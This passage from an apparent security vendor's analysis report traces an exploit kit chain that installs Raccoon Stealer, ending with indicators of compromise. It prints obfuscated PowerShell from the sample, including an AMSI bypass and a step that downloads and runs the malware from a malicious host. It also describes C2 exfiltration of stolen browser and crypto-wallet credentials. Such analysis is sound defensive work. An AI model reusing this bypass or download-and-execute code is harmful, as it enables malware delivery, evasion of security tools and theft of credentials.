GetString(\{Convert\}::FromBase64String(
    ,YW1zaUluaXRGYWlsZWQ=’)), ,NonPublic,Static’); # amsiInitFailed
$III1II1111.SetValue($null, $true);
```

Next, it obtains direct access to the `CreateProcess` function, by adding a .NET class that uses `DllImport` on the `kernel32.dll` module:

```powershell
# import CreateProcess
Add-Type -TypeDefinition “using System; using System.Diagnostics; [...]”
public static class lI1IllI {
    [DllImport(“”kernel32.dll”“,SetLastError=true)]
    public static extern bool CreateProcess(string llIll1l1, string IIIll11, IntPtr lll1l, IntPtr IIII1l1, bool l11Il1ll11, uint II1III, IntPtr III1I1I11lII, string Illl1, ref ll11lI IIIlIlll111,out llIIIll11Il l111l); }”;
```

The malware executable is downloaded in the local `AppData` folder with a random name and `.tmp` extension, then executed using the `CreateProcess` function imported earlier:

```powershell
# setup dropped file name
$Illll1lll111 = "$env:userprofile\AppData\LocalLow\$_(-join((48..57)+(65..90)+(97..122)|Get-Ran-
dom -Count 8|{[char]$_})).tmp”;
# download malware
$III1II1II1II1=’http://yourfirmware.biz/4960-Englut-mythus/Sixfold/22X2/12042?AX2Q5=Dreamiest&RAyvt=Bowable_5636&nCAa=13104’;
[Text.Encoding]::ASCII.GetString(\{Convert\}::FromBase64String(‘JGNsaT0oTmV3LU9iamVjdCBOZXQuV2xpZW50KTskY2xpL[...]]’))|iex;
# base64 decoded and executed code:
# $cli=(New-Object Net.WebClient); $cli.Headers[‘User-Agent’]={'eW71txlgM5lhDn98’;
# $cli.DownloadFile($IllII1l1l11,$Illll1lll111); # run malware
$III1II1II1II1 = New-Object 1II1II; # STARTUPINFO
$III1II1II1II111II = 0x0;
$III1II1II1II11II1 = [System.Runtime.InteropServices.Marshal]::SizeOf($III1II1II1II1);
$III1II1 = New-Object lII11II1IIII1; # PROCESS_INFORMATION
[lII1II1]:CreateProcess($III1II1IIII1,$III1II1IIII11II1l,[IntPtr]:Zero,[IntPtr]:Zero,$false,0x
00000008,[IntPtr]:Zero,”c:”,[ref]$III1II1IIII111,[ref]$III1II1)\out-null;
```
Raccoon Stealer

The final malware payload is Raccoon Stealer, downloaded and launched by the PowerShell code.

The executable we are analyzing has the MD5 hash of d490bd6184419561350d531c6c771a50 and has 1,383,936 bytes. Some HTTP requests are recognized by EKFiddle tool as RaccoonStealer C2 calls. It is indeed a password and crypto stealer, as we will see below. This particular sample is detected by Bitdefender as Trojan.Agent.EDOT.

First, it sends a "log" request to the nginx application at http://34.77.205.80/gate/log.php, with information including a bot_id based on computer configuration, and receives a JSON containing details about dependencies locations and exfiltration URL:

```json
{
    "url": "http://34.77.205.80/file_handler/file.php?hash=71f03823790054ac09e59edde52e5bd-f2955aa82&js=06d7c4ec30ad085c39fd5e491691497dae449425&callback=hxxp://34.77.205.80/gate",
    "attachment_url": "http://34.77.205.80/gate/sqlite3.dll",
    "libraries": "http://34.77.205.80/gate/libs.zip",
    "ip": "[redacted]",
    "config": {
        "masks": null,
        "loader_urls": null
    },
    "is_screen_enabled": 0,
    "is_history_enabled": 0
}
```

Next, it downloads what looks like FoxMail components from /gate/libs.zip, but we did not see any email being sent. It also downloads the SQLite library, for parsing browser database files, from /gate/sqlite3.dll.

Login credentials, auto-fill information and cookies are collected from the following browsers:

- Google Chrome, Google Chrome Canary, Vivaldi, Xpom, Comodo Dragon, Amigo, Orbitum, Opera, Bromium, Nichrome, Sputnik, Kometa, uCoz Uran, RockMelt, 7Star, Epic Privacy Browser, Elements Browser, CocCoc, TorBro, Shuhba, CentBrowser, Torch, Chedot, Superbird

- Mozilla Firefox, Waterfox, SeaMonkey, Pale Moon

Credentials are also collected for the following crypto wallets:

- Electrum
- Ethereum
- Exodus
- Jaxx
- Monero

Stolen data, along with machine and OS information is packed into a Log.zip file and exfiltrated to the address specified in the JSON, at 34.77.205.80/file_handler/[...].

A request is also made to download a file from Google Drive at hxxps://drive.google.com/uc?export=download&id=1l34XG2K[...] but at the time of analysis, the file was empty.

When finished, the malware attempts to delete itself using the ping utility as sleep tool:

```
cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q “C:\...\AppData\LocalLow\pofke3lb.tmp”
```
Indicators of Compromise

We have seen the following IPs used for the malicious ad server:

- 91.90.192.214
- 91.90.195.48
- 103.29.71.177
- 139.162.90.20
- 139.162.100.103
- 172.105.14.31
- 172.105.36.165

We have seen the following domains being used for the main exploit kit server:

- gorgantuaisastar.com
- gonzalesnotdie.com
- comicsansfont.com
- yourfirmware.biz

Flash exploit samples associated with the exploit kit:

- c9d17e11189931677cd7ab055079fc45 (35,140 bytes)
- 4a59222d224c8dbfae1283dde73f52db (35,127 bytes)
- a58584b73a08342a80e5ca8d1ac3dc2a (13,664 bytes)

RaccoonStealer malware samples delivered by the exploit kit:

- 97d329f9a8ba40cc6b6dd1bb761cbe5c (1,568,768 bytes)
- d490bd6184419561350d531c6c771a50 (1,383,936 bytes)
References

- Fiddler, web debugging proxy – https://www.telerik.com/fiddler
- EKFiddle, malicious traffic analyzer Fiddler plugin – https://github.com/malwareinfosec/EKFiddle
- Microsoft Internet Explorer 11 (Windows 7 x86/x64), VBScript Code execution – https://www.exploit-db.com/exploits/44741
- The APT-C-06 organization’s first APT attack analysis and traceability initiated by the “double kill” 0day vulnerability (CVE-2018-8174), by 360 Security – https://4hou.win/wordpress/?p=19851
- Mechanisms to determine if software is running in a VMware virtual machine – https://kb.vmware.com/s/article/1009458
this page was left blank
Bitdefender is a global security technology company that delivers solutions in more than 100 countries through a network of value-added alliances, distributors and reseller partners. Since 2001, Bitdefender has consistently produced award-winning business and consumer security technology, and is a leading security provider in virtualization and cloud technologies. Through R&D, alliances and partnership teams, Bitdefender has elevated the highest standards of security excellence in both its number-one-ranked technology and its strategic alliances with the world's leading virtualization and cloud technology providers.

More information is available at http://www.bitdefender.com/.

All Rights Reserved. © 2019 Bitdefender. All trademarks, trade names, and products referenced herein are property of their respective owners. FOR MORE INFORMATION VISIT: enterprise.bitdefender.com.